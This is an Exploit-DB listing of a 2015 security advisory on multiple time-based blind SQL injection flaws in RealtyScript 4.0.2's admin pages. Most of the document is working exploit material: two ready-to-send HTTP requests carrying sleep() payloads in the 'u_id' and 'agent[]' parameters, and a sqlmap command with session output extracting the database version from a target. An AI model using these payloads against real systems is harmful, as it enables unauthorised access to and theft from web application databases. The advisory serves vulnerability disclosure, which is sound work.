RealtyScript 4.0.2 - Multiple Blind SQL Injections

EDB-ID:

38497

CVE:

EDB Verified: ×

Author:

LIQUIDWORM

Type:

WEBAPPS

Exploit: / {}

Platform:

PHP

Date:

2015-10-19

Vulnerable App:

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RealtyScript v4.0.2 Multiple Time-based Blind SQL Injection Vulnerabilities


Vendor: Next Click Ventures
Product web page: http://www.realtyscript.com
Affected version: 4.0.2

Summary: RealtyScript is award-winning real estate software that makes
it effortless for a real estate agent, office, or entrepreneur to be
up and running with a real estate web site in minutes. The software
is in daily use on thousands of domain names in over 40 countries and
has been translated into over 25 languages.

Desc: RealtyScript suffers from multiple SQL Injection vulnerabilities.
Input passed via the GET parameter 'u_id' and the POST parameter 'agent[]'
is not properly sanitised before being returned to the user or used in
SQL queries. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.

Tested on: Apache/2.4.6 (CentOS)
           PHP/5.4.16
           MariaDB-5.5.41


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5270
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-
5270.php


01.10.2015

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(1)

GET /admin/users.php?req=remove&u_id=103 and (select * from
(select(sleep(66)))a)-- & HTTP/1.1


(2)

POST /admin/mailer.php HTTP/1.1
Host: TARGET
Content-Length: 62
Cache-Control: max-age=0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://TARGET
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://TARGET/admin/mailer.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=vaq21340scj2u53a1b96ehvid5;

agent[]=102 and (select * from (select(sleep(67)))a)--
&subject=test&message=t00t^^&submit_mailer=Send
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========================================= .sqlmap session output
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$ sqlmap -r request1.txt -p "u_id" --dbms=MySQL --os=Linux --sql-
query="SELECT @@version"

        _
 ___ ___| |_____ ___ ___  {1.0-dev-04c1d43}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal.

[*] starting at 14:36:36

[14:36:36] [INFO] parsing HTTP request from 'request1.txt'
[14:36:36] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s)
requests:
---
Parameter: u_id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: req=remove&u_id=103 AND (SELECT * FROM (SELECT(SLEEP(5)))YrMM)
---
[14:36:36] [INFO] testing MySQL
[14:36:36] [INFO] confirming MySQL
[14:36:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.4.6, PHP 5.4.16
back-end DBMS: MySQL >= 5.0.0
[14:36:36] [INFO] fetching SQL SELECT statement query output: 'SELECT
@@version'
[14:36:36] [WARNING] time-based comparison requires larger statistical
model, please wait.............................
[14:36:45] [WARNING] it is very important not to stress the network adapter
during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses
(option '--time-sec')? [Y/n] Y
[14:37:03] [INFO] adjusting time delay to 2 seconds due to good response
times
5.5.41-MariaDB
SELECT @@version:    '5.5.41-MariaDB'
[14:38:50] [INFO] fetched data logged to text files under
'/.sqlmap/output/TARGET'

[*] shutting down at 14:38:50

========================================= sqlmap session output.
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Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions